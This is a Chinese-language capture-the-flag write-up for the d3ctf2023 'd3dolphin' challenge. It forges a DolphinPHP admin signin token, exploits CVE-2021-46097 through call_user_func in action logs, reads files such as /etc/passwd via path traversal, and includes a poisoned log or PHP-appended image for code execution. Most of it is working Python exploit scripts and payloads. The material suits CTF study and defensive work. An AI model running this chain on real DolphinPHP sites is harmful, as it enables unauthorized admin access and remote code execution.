Home d3ctf2023-d3dolphin
Post
Cancel

d3ctf2023-d3dolphin

题目简介

  • 给了admin最后一次登陆时间
  • 密码不是弱口令,不是默认密码
  • 要求rce并bypass disable function

伪造管理员

搜索login、time等字眼 按照如下方式伪造 last_login_time搜一下是个unix时间戳,找个在线网站转换一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function data_auth_sign($data = []){
    // 数据类型检测
    if(!is_array($data)){
        $data = (array)$data;
    }

    // 排序
    ksort($data);
    var_dump($data);
    // url编码并生成query字符串
    $code = http_build_query($data);
    // 生成签名
    var_dump($code);
    $sign = sha1($code);
    return $sign;
}
$user = array(
    'username'=> 'admin',
    'id'=>'1',
    'last_login_time1'=>'2011-04-05 14:19:19',
    'last_login_time'=>'1301984359'
);
var_dump(data_auth_sign($user['username'].$user['id'].$user['last_login_time']));

config/cookie.php里写了cookie的前缀

1
Cookie: dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6

复现CVE-2021-46097

核心部分如下:

代码片段1:

1
2
3
4
5
6
if (AttachmentModel::where('id', 'in', $ids)->delete()) {
    // 记录行为
    $ids = is_array($ids) ? implode(',', $ids) : $ids;
    action_log('attachment_delete', 'admin_attachment', 0, UID, $ids);
    $this->success('删除成功');
}

代码片段2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if(!empty($action_info['log'])){
    if(preg_match_all('/\[(\S+?)\]/', $action_info['log'], $match)){
        $log = [
            'user'    => $user_id,
            'record'  => $record_id,
            'model'   => $model,
            'time'    => request()->time(),
            'data'    => ['user' => $user_id, 'model' => $model, 'record' => $record_id, 'time' => request()->time()],
            'details' => $details
        ];

        $replace = [];
        foreach ($match[1] as $value){
            $param = explode('|', $value);
            if(isset($param[1]) && $param[1] != ''){
                if (is_disable_func($param[1])) {
                    continue;
                }
                $replace[] = call_user_func($param[1], $log[$param[0]]);// $param[1]='system'; $log['details']=xxx;
            }else{
                $replace[] = $log[$param[0]];
            }
        }

        $data['remark'] = str_replace($match[0], $replace, $action_info['log']);
    }else{
        $data['remark'] = $action_info['log'];
    }
}

简单测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
php > $data = "[details|system] aaa [details]";
php > preg_match_all('/\[(\S+?)\]/', $data, $match);
php > var_dump($match);
array(2) {
  [0]=>
  array(2) {
    [0]=>
    string(16) "[details|system]"
    [1]=>
    string(9) "[details]"
  }
  [1]=>
  array(2) {
    [0]=>
    string(14) "details|system"
    [1]=>
    string(7) "details"
  }
}

也就是说

  • 可以控制call_user_func的第一个参数,会经过disable function 校验
  • 第二个参数
    • 可以是字符串,存在于数据库中
    • 可以是数组,并且会查询数据库中的id是否在数组中,并且会使用implode进行连接

原exp使用#&;等将后面的数据丢掉。本题没有echo。

深入研究一下,读文件成功了,但是列目录没有成功。

读文件

1
2
3
4
5
// 不需要echo
readfile("222,/../../../../../../../../etc/passwd");

// 需要echo
echo file_get_contents("222,/../../../../../../../../etc/passwd");

列目录

  • 列目录的函数返回的是数组 在本题无效 因为后面会进到str_replace报错。
  • 倒是测出glob的正则可以让脏字符无效
    1
    2
    3
    4
    
    print_r(scandir("/"));
    print_r(glob("/[2,a-z0-9]*"));
    //但是不能,报file not found
    print_r(scandir("/2222/../"));
    

文件包含

includerequire还有eval等属于语言结构(Language constructs),call_user_func没法调用。

可以用thinkphp里的一些方法来曲线救国

1
2
3
4
5
6
7
8
9
10
function __include_file($file)
{
    return include $file;
}

function __require_file($file)
{
    return require $file;
}

有文件包含了,接下来需要服务端存在内容可控的文件。这里提供两种方法:

解法一:出题人提供的修改用户名方法

修改用户名会记录到log中,位置在runtime/log/2023MM/DD Accept中会有*/*等字符串,使部分内容解析失败,因此需要开容器获得全新的log,否则会php解析报错

使用如下代码注释掉后面所有的坏字符串<?php phpinfo();/*

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests,os,gnureadline,base64
from urllib.parse import quote
headers = {
    "Accept": "11"
}
url = 'http://139.196.153.118:30279'
sess = requests.Session()
def signin():
    r = sess.get(
        url = f'{url}/admin.php/user/publics/signin.html',
        headers = {
            'Cookie':'dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6',
            'Accept':'111'
        },
    )
    
def modify_nickname():
    r = sess.post(
        url = f'{url}/admin.php/user/index/edit/id/1.html',
        headers = headers,
        data = '__token__=40e5125997d44fc4301bd2004a66c900&id=1&nickname=%s&role=1&email=&password=&mobile=&avatar=0&status=1' % (quote("<?php phpinfo();/*"))
    )

def modify_func(func_name):
    r = sess.post(
        url = f'{url}/admin.php/admin/action/edit/id/14.html',
        headers = headers,
        data = '__token__=bedf6d242ee21d3a37058f77f349d664&id=14&module=admin&name=attachment_delete&title=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&remark=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&rule=&log={}&status=1'.format(
            quote("[details|%s] test [details]" % func_name)
        )
    )

def upload():
    r = sess.post(
        url = f'{url}/admin.php/admin/attachment/upload/dir/images/module/admin.html',
        headers = headers,
        files = {
            'file':('1.png',base64.b64decode(b'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQAAAAA3bvkkAAAACklEQVR4nGNgAAAAAgABSK+kcQAAAABJRU5ErkJggg==')+os.urandom(10))
        },
    
    )
    return r.json()['id']

def execute_function(pic_id):
    r = sess.post(
        url = f'{url}/admin.php/admin/attachment/delete/_t/86ba77b6.html',
        headers = headers,
        data = f'ids[]={pic_id}&ids[]=/../../runtime/log/202305/07.log'
    )

    print(r.text.split('<!DOCTYPE html>')[0])


if __name__ == "__main__":
    signin()
    modify_nickname()    
    modify_func("think\\__include_file")
    pic_id = upload()
    execute_function(pic_id)
       

解法二:正常图片后面拼接php代码

  • 上传图片,后面加shell,得到图片地址后包含即可
  • 更具有广泛性,不会有怪字符
  • 图片后可以加点随机字符,否则服务端图片id不会变
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests,os,gnureadline,base64
from urllib.parse import quote
headers = {
    "Accept": "11"
}
url = 'http://139.196.153.118:32060'
sess = requests.Session()
def signin():
    r = sess.get(
        url = f'{url}/admin.php/user/publics/signin.html',
        headers = {
            'Cookie':'dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6',
            'Accept':'111'
        },
    )

def modify_func(func_name):
    r = sess.post(
        url = f'{url}/admin.php/admin/action/edit/id/14.html',
        headers = headers,
        data = '__token__=bedf6d242ee21d3a37058f77f349d664&id=14&module=admin&name=attachment_delete&title=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&remark=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&rule=&log={}&status=1'.format(
            quote("[details|%s] test [details]" % func_name)
        )
    )

def upload(get_img_addr=False):
    r = sess.post(
        url = f'{url}/admin.php/admin/attachment/upload/dir/images/module/admin.html',
        headers = headers,
        files = {
            'file':('1.png',base64.b64decode(b'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQAAAAA3bvkkAAAACklEQVR4nGNgAAAAAgABSK+kcQAAAABJRU5ErkJggg==')+b'<?php phpinfo();//' + os.urandom(10).hex().encode()) 
        },
    
    )
    if not get_img_addr:
        return r.json()['id']
    return r.json()['path']

def execute_function(pic_id, filename):
    r = sess.post(
        url = f'{url}/admin.php/admin/attachment/delete/_t/86ba77b6.html',
        headers = headers,
        data = f'ids[]={pic_id}&ids[]=/../../public{filename}'
    )
    print(r.text.split('<!DOCTYPE html>')[0])


if __name__ == "__main__":
    signin()
    modify_func("think\\__include_file")
    filename = upload(True)
    pic_id = upload()
    execute_function(pic_id, filename)

RCE

  • 上传shell.php后
  • php版本7.4.0
  • 使用PHP7 ReflectionProperty UAF漏洞来rce绕过disable function(蚁剑有插件)
  • 或者使用scandir、readfile直接读flag,出题人的/readflag是假的
  • 读/readflag里有一个假的flag文件名
This post is licensed under CC BY 4.0 by the author.